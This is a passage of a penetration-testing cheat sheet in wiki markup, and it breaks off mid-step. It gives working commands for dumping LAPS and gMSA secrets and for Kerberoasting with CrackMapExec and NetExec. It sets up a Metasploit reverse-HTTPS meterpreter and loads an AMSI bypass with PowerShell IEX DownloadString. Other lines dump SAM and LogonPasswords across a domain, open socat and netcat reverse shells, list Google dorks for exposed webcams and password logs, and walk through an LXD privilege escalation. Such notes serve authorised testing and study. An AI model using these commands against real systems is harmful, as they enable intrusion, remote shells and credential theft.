## LPAS - If installed on the domain&lt;br /&gt;
crackmapexec smb  -u user-can-read-laps -p pass --laps&lt;br /&gt;
# LDAP&lt;br /&gt;
## Dump gMSA&lt;br /&gt;
crackmapexec ldap  -u  -p  --gmsa&lt;br /&gt;
## LAPS - If installed on the domain&lt;br /&gt;
crackmapexec ldap  -u user-can-read-laps -p pass -M laps&lt;br /&gt;
## Extract gMSA secrets&lt;br /&gt;
crackmapexec ldap  -u  -p  --gmsa-convert-id 313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724&lt;br /&gt;
rackmapexec ldap  -u  -p  --gmsa-decrypt-lsa &#039;_SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724:01000000240200001000120114021c02fbb096d10991bb88c3f54e153807b4c1cc009d30bc3c50fd6f72c99a1e79f27bd0cbd4df69fdf08b5cf6fa7928cf6924cf55bfd8dd505b1da26ddf5695f5333dd07d08673029b01082e548e31f1ad16c67db0116c6ab0f8d2a0f6f36ff30b160b7c78502d5df93232f72d6397b44571d1939a2d18bb9c28a5a48266f52737c934669e038e22d3ba5a7ae63a608f3074c520201f372d740fddec77a8fed4ddfc5b63ce7c4643b60a8c4c739e0d0c7078dd0c2fcbc2849e561ea2de1af7a004b462b1ff62ab4d3db5945a6227a58ed24461a634b85f939eeed392cf3fe9359f28f3daa8cb74edb9eef7dd38f44ed99fa7df5d10ea1545994012850980a7b3becba0000d22d957218fb7297b216e2d7272a4901f65c93ee0dbc4891d4eba49dda5354b0f2c359f185e6bb943da9bcfbd2abda591299cf166c28cb36907d1ba1a8956004b5e872ef851810689cec9578baae261b45d29d99aef743f3d9dcfbc5f89172c9761c706ea3ef16f4b553db628010e627dd42e3717208da1a2902636d63dabf1526597d94307c6b70a5acaf4bb2a1bdab05e38eb2594018e3ffac0245fcdb6afc5a36a5f98f5910491e85669f45d02e230cb633a4e64368205ac6fc3b0ba62d516283623670b723f906c2b3d40027791ab2ae97a8c5c135aae85da54a970e77fb46087d0e2233d062dcd88f866c12160313f9e6884b510840e90f4c5ee5a032d40000f0650a4489170000f0073a9188170000&#039;&lt;br /&gt;
## List all PKI enrollment server&lt;br /&gt;
crackmapexec run ldap  -u user -p pass -M adcs&lt;br /&gt;
## Extract subnet&lt;br /&gt;
crackmapexec ldap  -u  -p  -M get-network&lt;br /&gt;
crackmapexec ldap  -u  -p  -M get-network -o ONLY_HOSTS=true&lt;br /&gt;
crackmapexec ldap  -u  -p  -M get-network -o ALL=true&lt;br /&gt;
# Username + Password + CMD command&lt;br /&gt;
crackmapexec mssql -d  -u  -p  -x &amp;quot;whoami&amp;quot;&lt;br /&gt;
# Username + Hash + PS command&lt;br /&gt;
crackmapexec mssql -d  -u  -H  -X &#039;$PSVersionTable&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== NetExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/Pennyw0rth/NetExec&lt;br /&gt;
# This project was initially created in 2015 by @byt3bl33d3r, known as CrackMapExec. In 2019 @mpgn_x64 started maintaining the project for the next 4 years, adding a lot of great tools and features. In September 2023 he retired from maintaining the project.&lt;br /&gt;
# cheatsheet&lt;br /&gt;
https://www.netexec.wiki/&lt;br /&gt;
# General&lt;br /&gt;
netexec   -u username -p password&lt;br /&gt;
# Using modules&lt;br /&gt;
# List available modules&lt;br /&gt;
nxc smb -L&lt;br /&gt;
# View module options&lt;br /&gt;
nxc smb -M lsassy --options&lt;br /&gt;
# Using Kerberos&lt;br /&gt;
$ export KRB5CCNAME=/home/bonclay/impacket/administrator.ccache&lt;br /&gt;
$ nxc smb zoro.gold.local --use-kcache&lt;br /&gt;
$ export KRB5CCNAME=/home/bonclay/impacket/bonclay.ccache&lt;br /&gt;
$ sudo nxc smb zoro.gold.local --use-kcache -x whoami&lt;br /&gt;
# Send a local file to the remote target&lt;br /&gt;
nxc smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt&lt;br /&gt;
# Get a remote file on the remote target&lt;br /&gt;
nxc smb 172.16.251.152 -u user -p pass --get-file  \\Windows\\Temp\\whoami.txt /tmp/whoami.txt&lt;br /&gt;
# Read LAPS&lt;br /&gt;
nxc smb  -u user-can-read-laps -p pass --laps&lt;br /&gt;
# Impersonate logged on user&lt;br /&gt;
# 1. Enumerate logged-on users on your Target&lt;br /&gt;
nxc smb  -u  -p  --loggedon-users&lt;br /&gt;
# 2. Execute commands on behalf of other users&lt;br /&gt;
nxc smb  -u  -p  -M schtask_as -o USER= CMD=&lt;br /&gt;
# Find Domain SID&lt;br /&gt;
$ nxc ldap DC1.scrm.local -u sqlsvc -p Pegasus60 -k --get-sid&lt;br /&gt;
# Kerberoasting&lt;br /&gt;
nxc ldap 192.168.0.104 -u harry -p pass --kerberoasting output.txt&lt;br /&gt;
# Unconstrained delegation - retrieve the list of all computers and users with the flag TRUSTED_FOR_DELEGATION&lt;br /&gt;
nxc ldap 192.168.0.104 -u harry -p pass --trusted-for-delegation&lt;br /&gt;
# Dump gMSA&lt;br /&gt;
$ nxc ldap  -u  -p  --gmsa&lt;br /&gt;
# Bloodhound ingenstor&lt;br /&gt;
nxc ldap  -u user -p pass --bloodhound -ns  --collection All&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Meterpreter using Invoke-metasploitpayload.ps1 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/Ethical-Hacking-Repos/Invoke-MetasploitPayload/blob/master/README.md&lt;br /&gt;
# https://www.netexec.wiki/smb-protocol/command-execution/getting-shells-101#meterpreter&lt;br /&gt;
# Meterpreter&lt;br /&gt;
# We can use the metinject module launch a meterpreter using Invoke-MetasploitPayload Invoke-MetasploitPayload.ps1 script.&lt;br /&gt;
# On your Metasploit instance, run the following commands&lt;br /&gt;
use exploit/multi/script/web_delivery&lt;br /&gt;
# The SRVHOST and SRVPORT variables are used for running the webserver to host the script&lt;br /&gt;
set SRVHOST 10.211.55&lt;br /&gt;
set SRVPORT 8443&lt;br /&gt;
# The target variable determines what type of script we&#039;re using. 2 is for PowerShell&lt;br /&gt;
set target 2&lt;br /&gt;
# Pick your payload. In this case, we&#039;ll use a reverse https meterpreter payload&lt;br /&gt;
set payload windows/meterpreter/reverse_https&lt;br /&gt;
set LHOST 10.211.55&lt;br /&gt;
set LPORT 443&lt;br /&gt;
# Run the exploit&lt;br /&gt;
run -j&lt;br /&gt;
# Once run, the web_delivery module will spin up the webserver to host the script and reverse listener for our meterpreter session.&lt;br /&gt;
msf exploit(web_delivery) &amp;gt; run -j&lt;br /&gt;
[*] Exploit running as background job.&lt;br /&gt;
[*] Started HTTPS reverse handler on https://10.211.55.4:8443/&lt;br /&gt;
[*] Using URL: http://10.211.55.4:8080/eYEssEwv2D&lt;br /&gt;
[*] Local IP: http://10.211.55.4:8080/eYEssEwv2D&lt;br /&gt;
[*] Server started.&lt;br /&gt;
# Then just run the met_inject module and specify the LHOST and LPORT values:&lt;br /&gt;
~ NetExec 192.168.10.0/24 -u username -p password -M met_inject -o SRVHOST=192.168.10.3 SRVPORT=8443 RAND=eYEssEwv2D SSL=http&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PsMapExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Cheathseet&lt;br /&gt;
https://viperone.gitbook.io/pentest-everything/psmapexec&lt;br /&gt;
https://github.com/The-Viper-One/PsMapExec&lt;br /&gt;
# A PowerShell tool heavily inspired by the popular tool CrackMapExec. Far too often I find myself on engagements without access to Linux in order to make use of CrackMapExec.&lt;br /&gt;
# PsMapExec is used as a post-exploitation tool to assess and compromise an Active Directory environment.&lt;br /&gt;
# Load directly into memory and attempt to bypass AV&lt;br /&gt;
# Invoke-NETMongoose.ps1 is an AMSI bypass&lt;br /&gt;
IEX(New-Object System.Net.WebClient).DownloadString(&amp;quot;https://raw.githubusercontent.com/The-Viper-One/PME-Scripts/main/Invoke-NETMongoose.ps1&amp;quot;);IEX(New-Object System.Net.WebClient).DownloadString(&amp;quot;https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# PsMapExec has some dependencies that need to be pulled from outside the script itself in order to function.&lt;br /&gt;
## Primarily these are:&lt;br /&gt;
### Kirby (PowerShell based Kerberos ticket dump)&lt;br /&gt;
### Invoke-Pandemonium (Slightly modified Mimikatz)&lt;br /&gt;
&lt;br /&gt;
# Examples&lt;br /&gt;
# Execute WMI commands over all systems in the domain using password authentication&lt;br /&gt;
PsMapExec -Username Admin -Password Pass -Targets All -Method WMI -Command &amp;quot;net user&amp;quot;&lt;br /&gt;
# Execute WinRM commands over all systems in the domain using hash authentication&lt;br /&gt;
PsMapExec -Username Admin -Hash [Hash] -Targets All -Method WinRM -Command &amp;quot;net user&amp;quot;&lt;br /&gt;
# Check RDP Access against workstations in the domain&lt;br /&gt;
PsMapExec -Username Admin -Password Pass -Targets Workstations -Method RDP&lt;br /&gt;
# Dump SAM on all servers in the domain using SMB&lt;br /&gt;
PsMapExec -Username [User] -Hash [Hash] -Targets Servers -Method SMB -Module SAM&lt;br /&gt;
# Check SMB Signing on all domain systems&lt;br /&gt;
PsMapExec -Targets All -Method GenRelayList&lt;br /&gt;
# Dump LogonPasswords on all Domain Controllers over SMB&lt;br /&gt;
PsMapExec -Username Admin -Password Pass -Targets DCs -Method SMB -Module LogonPasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== GIT ==&lt;br /&gt;
&lt;br /&gt;
See PG Hunit writeup&lt;br /&gt;
&lt;br /&gt;
=== Download .git ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir&lt;br /&gt;
./gitdumper.sh /.git/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Extract .git content ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir&lt;br /&gt;
./extractor.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== GIT basic commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Stage the file for commit to your local repository by the following command. -A means add changes from all tracked and untracked files&lt;br /&gt;
git add -A&lt;br /&gt;
# Configure who you are in order to commit&lt;br /&gt;
git config --global user.email &amp;quot;you@example.com&amp;quot;&lt;br /&gt;
git config --global user.name &amp;quot;Your Name&amp;quot;&lt;br /&gt;
# The git commit command **captures a snapshot of the project&#039;s currently staged changes**.&lt;br /&gt;
git commit -m &amp;quot;This is a message&amp;quot;&lt;br /&gt;
#  Push your changes to the remote server. &amp;quot;master&amp;quot; refers to master branch in your repository.&lt;br /&gt;
git push origin master&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===  ===&lt;br /&gt;
&lt;br /&gt;
=== GIT_SSH_COMMAND ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# GIT_SSH_COMMAND&lt;br /&gt;
# If either of these environment variables is set then _git fetch_ and _git push_ will use the specified command instead of _ssh_ when they need to connect to a remote system.&lt;br /&gt;
# Below command will SSH to user git at 192.168.243.124 and clone the repo from /git-server&lt;br /&gt;
GIT_SSH_COMMAND=&#039;ssh -i id_rsa -p 43022&#039; git clone git@192.168.243.125:/git-server&lt;br /&gt;
# This command wil SSH to user git and push the changes to the remote server.&lt;br /&gt;
GIT_SSH_COMMAND=&#039;ssh -i id_rsa -p 43022&#039; git push origin master&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== GitLeaks - Scan repos for secrets ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/zricethezav/gitleaks&lt;br /&gt;
gitleaks detect --source . -v&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Google Dorking ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://dorksearch.com/&lt;br /&gt;
site:target[.]com ext:php inurl:?&lt;br /&gt;
site:target.tld intitle:&amp;quot;index of /&amp;quot; #  intitle:&amp;quot;index of /&amp;quot;: This searches for pages with “index of /” in their title. The “index of /” is typically shown in the title of directory listings on servers where directory browsing is enabled. It allows you to see a raw directory of files hosted on a server.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Search operators ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/chr3st5an/Google-Dorking GitHub - chr3st5an/Google-Dorking: Google Dorking Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Operator&lt;br /&gt;
! Description&lt;br /&gt;
! Syntax&lt;br /&gt;
! Example&lt;br /&gt;
|-&lt;br /&gt;
| ()&lt;br /&gt;
| Group multiple terms or operators. Allows advanced expressions&lt;br /&gt;
| (&amp;lt;term&amp;gt; or &amp;lt;operator&amp;gt;)&lt;br /&gt;
| inurl:(html | php)&lt;br /&gt;
|-&lt;br /&gt;
| *&lt;br /&gt;
| Wildcard. Matches any word&lt;br /&gt;
| &amp;lt;text&amp;gt; * &amp;lt;text&amp;gt;&lt;br /&gt;
| How to * a computer&lt;br /&gt;
|-&lt;br /&gt;
| &amp;quot;&amp;quot;&lt;br /&gt;
| The given keyword has to match exactly. case-insensitive&lt;br /&gt;
| &amp;quot;&amp;lt;keywords&amp;gt;&amp;quot;&lt;br /&gt;
| &amp;quot;google&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| m..n / m...n&lt;br /&gt;
| Search for a range of numbers. n should be greater than m&lt;br /&gt;
| &amp;lt;number&amp;gt;..&amp;lt;number&amp;gt;&lt;br /&gt;
| 1..100&lt;br /&gt;
|-&lt;br /&gt;
| -&lt;br /&gt;
| Documents that match the operator are excluded. NOT-Operator&lt;br /&gt;
| -&amp;lt;operator&amp;gt;&lt;br /&gt;
| -site:youtube.com&lt;br /&gt;
|-&lt;br /&gt;
| +&lt;br /&gt;
| Include documents that match the operator&lt;br /&gt;
| +&amp;lt;operator&amp;gt;&lt;br /&gt;
| +site:youtube.com&lt;br /&gt;
|-&lt;br /&gt;
| |&lt;br /&gt;
| Logical OR-Operator. Only one operator needs to match in order for the overall expression to match&lt;br /&gt;
| &amp;lt;operator&amp;gt; | &amp;lt;operator&amp;gt;&lt;br /&gt;
| &amp;quot;google&amp;quot; | &amp;quot;yahoo&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| ~&lt;br /&gt;
| Search for synonyms of the given word. Not supported by Google&lt;br /&gt;
| ~&amp;lt;word&amp;gt;&lt;br /&gt;
| ~book&lt;br /&gt;
|-&lt;br /&gt;
| @&lt;br /&gt;
| Perform a search only on the given social media platform. Rather use site&lt;br /&gt;
| @&amp;lt;socialmedia&amp;gt;&lt;br /&gt;
| @instagram&lt;br /&gt;
|-&lt;br /&gt;
| after&lt;br /&gt;
| Search for documents published / indexed after the given date&lt;br /&gt;
| after:&amp;lt;yy(-mm-dd)&amp;gt;&lt;br /&gt;
| after:2020-06-03&lt;br /&gt;
|-&lt;br /&gt;
| allintitle&lt;br /&gt;
| Same as intitle but allows multiple keywords seperated by a space&lt;br /&gt;
| allintitle:&amp;lt;keywords&amp;gt;&lt;br /&gt;
| allintitle:dog cat&lt;br /&gt;
|-&lt;br /&gt;
| allinurl&lt;br /&gt;
| Same as inurl but allows multiple keywords seperated by a space&lt;br /&gt;
| allinurl:&amp;lt;keywords&amp;gt;&lt;br /&gt;
| allinurl:search com&lt;br /&gt;
|-&lt;br /&gt;
| allintext&lt;br /&gt;
| Same as intext but allows multiple keywords seperated by a space&lt;br /&gt;
| allintext:&amp;lt;keywords&amp;gt;&lt;br /&gt;
| allintext:math science university&lt;br /&gt;
|-&lt;br /&gt;
| AROUND&lt;br /&gt;
| Search for documents in which the first word is up to n words away from the second word and vice versa&lt;br /&gt;
| &amp;lt;word1&amp;gt; AROUND(&amp;lt;n&amp;gt;) &amp;lt;word2&amp;gt;&lt;br /&gt;
| google AROUND(10) good&lt;br /&gt;
|-&lt;br /&gt;
| author&lt;br /&gt;
| Search for articles written by the given author if applicable&lt;br /&gt;
| author:&amp;lt;name&amp;gt;&lt;br /&gt;
| author:Max&lt;br /&gt;
|-&lt;br /&gt;
| before&lt;br /&gt;
| Search for documents published / indexed before the given date&lt;br /&gt;
| before:&amp;lt;yy(-mm-dd)&amp;gt;&lt;br /&gt;
| before:2020-06-03&lt;br /&gt;
|-&lt;br /&gt;
| cache&lt;br /&gt;
| Search on the cached version of the given website. Uses Google&#039;s cache to do so&lt;br /&gt;
| cache:&amp;lt;domain&amp;gt;&lt;br /&gt;
| cache:google.com&lt;br /&gt;
|-&lt;br /&gt;
| contains&lt;br /&gt;
| Search for documents that link to the given fileype. Not supported by Google&lt;br /&gt;
| contains:&amp;lt;filetype&amp;gt;&lt;br /&gt;
| contains:pdf&lt;br /&gt;
|-&lt;br /&gt;
| date&lt;br /&gt;
| Search for documents published within the past n months. Not supported by Google&lt;br /&gt;
| date:&amp;lt;number&amp;gt;&lt;br /&gt;
| date:3&lt;br /&gt;
|-&lt;br /&gt;
| define&lt;br /&gt;
| Search for the definition of the given word&lt;br /&gt;
| define:&amp;lt;word&amp;gt;&lt;br /&gt;
| define:funny&lt;br /&gt;
|-&lt;br /&gt;
| ext&lt;br /&gt;
| Search for a specific filetype&lt;br /&gt;
| ext:&amp;lt;documenttype&amp;gt;&lt;br /&gt;
| ext:pdf&lt;br /&gt;
|-&lt;br /&gt;
| filetype&lt;br /&gt;
| Refer to ext&lt;br /&gt;
| filetype:&amp;lt;documenttype&amp;gt;&lt;br /&gt;
| filetype:pdf&lt;br /&gt;
|-&lt;br /&gt;
| inanchor&lt;br /&gt;
| Search for the given keyword in a website&#039;s anchors&lt;br /&gt;
| inanchor:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| inanchor:security&lt;br /&gt;
|-&lt;br /&gt;
| index of&lt;br /&gt;
| Search for documents containing direct downloads&lt;br /&gt;
| index of:&amp;lt;term&amp;gt;&lt;br /&gt;
| index of:mp4 videos&lt;br /&gt;
|-&lt;br /&gt;
| info&lt;br /&gt;
| Search for information about a website&lt;br /&gt;
| info:&amp;lt;domain&amp;gt;&lt;br /&gt;
| info:google.com&lt;br /&gt;
|-&lt;br /&gt;
| intext&lt;br /&gt;
| Keyword needs to be in the text of the document&lt;br /&gt;
| intext:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| intext:news&lt;br /&gt;
|-&lt;br /&gt;
| intitle&lt;br /&gt;
| Keyword needs to be in the title of the document&lt;br /&gt;
| intitle:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| intitle:money&lt;br /&gt;
|-&lt;br /&gt;
| inurl&lt;br /&gt;
| Keyword needs to be in the URL of the document&lt;br /&gt;
| inurl:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| inurl:sheet&lt;br /&gt;
|-&lt;br /&gt;
| link / links&lt;br /&gt;
| Search for documents whose links contain the given keyword. Useful for finding documents that link to a specific website&lt;br /&gt;
| link:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| link:google&lt;br /&gt;
|-&lt;br /&gt;
| location&lt;br /&gt;
| Show documents based on the given location&lt;br /&gt;
| location:&amp;lt;location&amp;gt;&lt;br /&gt;
| location:USA&lt;br /&gt;
|-&lt;br /&gt;
| numrange&lt;br /&gt;
| Refer to m..n&lt;br /&gt;
| numrange:&amp;lt;number&amp;gt;-&amp;lt;number&amp;gt;&lt;br /&gt;
| numrange:1-100&lt;br /&gt;
|-&lt;br /&gt;
| OR&lt;br /&gt;
| Refer to |&lt;br /&gt;
| &amp;lt;operator&amp;gt; OR &amp;lt;operator&amp;gt;&lt;br /&gt;
| &amp;quot;google&amp;quot; OR &amp;quot;yahoo&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| phonebook&lt;br /&gt;
| Search for related phone numbers associated with the given name&lt;br /&gt;
| phonebook:&amp;lt;name&amp;gt;&lt;br /&gt;
| phonebook:&amp;quot;william smith&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| relate / related&lt;br /&gt;
| Search for documents that are related to the given website&lt;br /&gt;
| relate:&amp;lt;domain&amp;gt;&lt;br /&gt;
| relate:google.com&lt;br /&gt;
|-&lt;br /&gt;
| safesearch&lt;br /&gt;
| Exclude adult content such as pornographic videos&lt;br /&gt;
| safesearch:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| safesearch:sex&lt;br /&gt;
|-&lt;br /&gt;
| source&lt;br /&gt;
| Search on a specific news site. Rather use site&lt;br /&gt;
| source:&amp;lt;news&amp;gt;&lt;br /&gt;
| source:theguardian&lt;br /&gt;
|-&lt;br /&gt;
| site&lt;br /&gt;
| Search on the given site. Given argument might also be just a TLD such as com, net, etc&lt;br /&gt;
| site:&amp;lt;domain&amp;gt;&lt;br /&gt;
| site:google.com&lt;br /&gt;
|-&lt;br /&gt;
| stock&lt;br /&gt;
| Search for information about a market stock&lt;br /&gt;
| stock:&amp;lt;stock&amp;gt;&lt;br /&gt;
| stock:dax&lt;br /&gt;
|-&lt;br /&gt;
| weather&lt;br /&gt;
| Search for information about the weather of the given location&lt;br /&gt;
| weather:&amp;lt;location&amp;gt;&lt;br /&gt;
| weather:Miami&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Finding Valuable Information ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
intitle:&amp;quot;webcamXP 5&amp;quot; | inurl:&amp;quot;lvappl.htm&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find open/public webcams&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
intext:password ext:log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find log documents wich have the string &amp;quot;password&amp;quot; in it&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
inurl:/proc/self/cwd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find vulnerable webservers&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
inurl:email.xls ext:xls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find excel documents that contain email addresses&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
index of:mp3 intext:.mp3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find mp3 (music) documents&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
intext:&amp;quot;index of /&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Finding indexed files&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Listener ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ATTENTION&lt;br /&gt;
# Some target machines might block the port you&#039;ve choosen to use as listening port. If you dont get a connection, try changing the port to some standard ports like 80, 443, 445 etc.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Metasploit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
use exploit/multi/handler&lt;br /&gt;
set PAYLOAD&lt;br /&gt;
set LHOST&lt;br /&gt;
set LPORT&lt;br /&gt;
set ExitOnSession false&lt;br /&gt;
exploit -j -z&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Listen on port&lt;br /&gt;
nc -lvnp&lt;br /&gt;
# Use rlwrap for better shell on Windows&lt;br /&gt;
rlwrap nc -lvnp&lt;br /&gt;
# Connect to port&lt;br /&gt;
nc -nv&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Socat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basic listener&lt;br /&gt;
socat TCP-L: -&lt;br /&gt;
# Windows connect back&lt;br /&gt;
socat TCP::&lt;br /&gt;
EXEC:powershell.exe,pipes&lt;br /&gt;
# Linux connect back&lt;br /&gt;
socat TCP:: EXEC:&amp;quot;bash -li&amp;quot;&lt;br /&gt;
# Encrypted shell - Basic listener&lt;br /&gt;
https://blog.aghanim.net/?p=1043#Socat_encrypted_shells&lt;br /&gt;
socat OPENSSL-LISTEN:,cert=shell.pem,verify=0 –&lt;br /&gt;
# Connect back&lt;br /&gt;
socat OPENSSL::,verify=0 EXEC:/bin/bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== LXD - Privilege escalation ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation]&lt;br /&gt;
&lt;br /&gt;
Step 1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(rootkali)-[/home/…/HTB/tabby/containerimages/alpine]&lt;br /&gt;
└─# sudo /root/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8&lt;br /&gt;
┌──(rootkali)-[/home/…/HTB/tabby/containerimages/alpine]&lt;br /&gt;
└─# ls&lt;br /&gt;
alpine.yaml  lxd.tar.xz  rootfs.squashfs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ wget http://10.10.14.18:9000/lxd.tar.xz&lt;br /&gt;
--2022-02-10 14:04:26--  http://10.10.14.18:9000/lxd.tar.xz&lt;br /&gt;
Connecting to 10.10.14.18:9000... connected.&lt;br /&gt;
HTTP request sent, awaiting response... 200 OK&lt;br /&gt;
Length: 844 [application/x-xz]&lt;br /&gt;
Saving to: ‘lxd.tar.xz’&lt;br /&gt;
lxd.tar.xz          100%[===================&amp;gt;]     844  --.-KB/s    in 0s&lt;br /&gt;
2022-02-10 14:04:26 (105 MB/s) - ‘lxd.tar.xz’ saved [844/844]&lt;br /&gt;
ash@tabby:~$ wget http://10.10.14.18:9000/rootfs.squashfs&lt;br /&gt;
--2022-02-10 14:04:36--  http://10.10.14.18:9000/rootfs.squashfs&lt;br /&gt;
Connecting to 10.10.14.18:9000... connected.&lt;br /&gt;
HTTP request sent, awaiting response... 200 OK&lt;br /&gt;
Length: 2052096 (2.0M) [application/octet-stream]&lt;br /&gt;
Saving to: ‘rootfs.squashfs’&lt;br /&gt;
rootfs.squashfs     100%[===================&amp;gt;]   1.96M  4.02MB/s    in 0.5s&lt;br /&gt;
2022-02-10 14:04:37 (4.02 MB/s) - ‘rootfs.squashfs’ saved [2052096/2052096]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 3&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
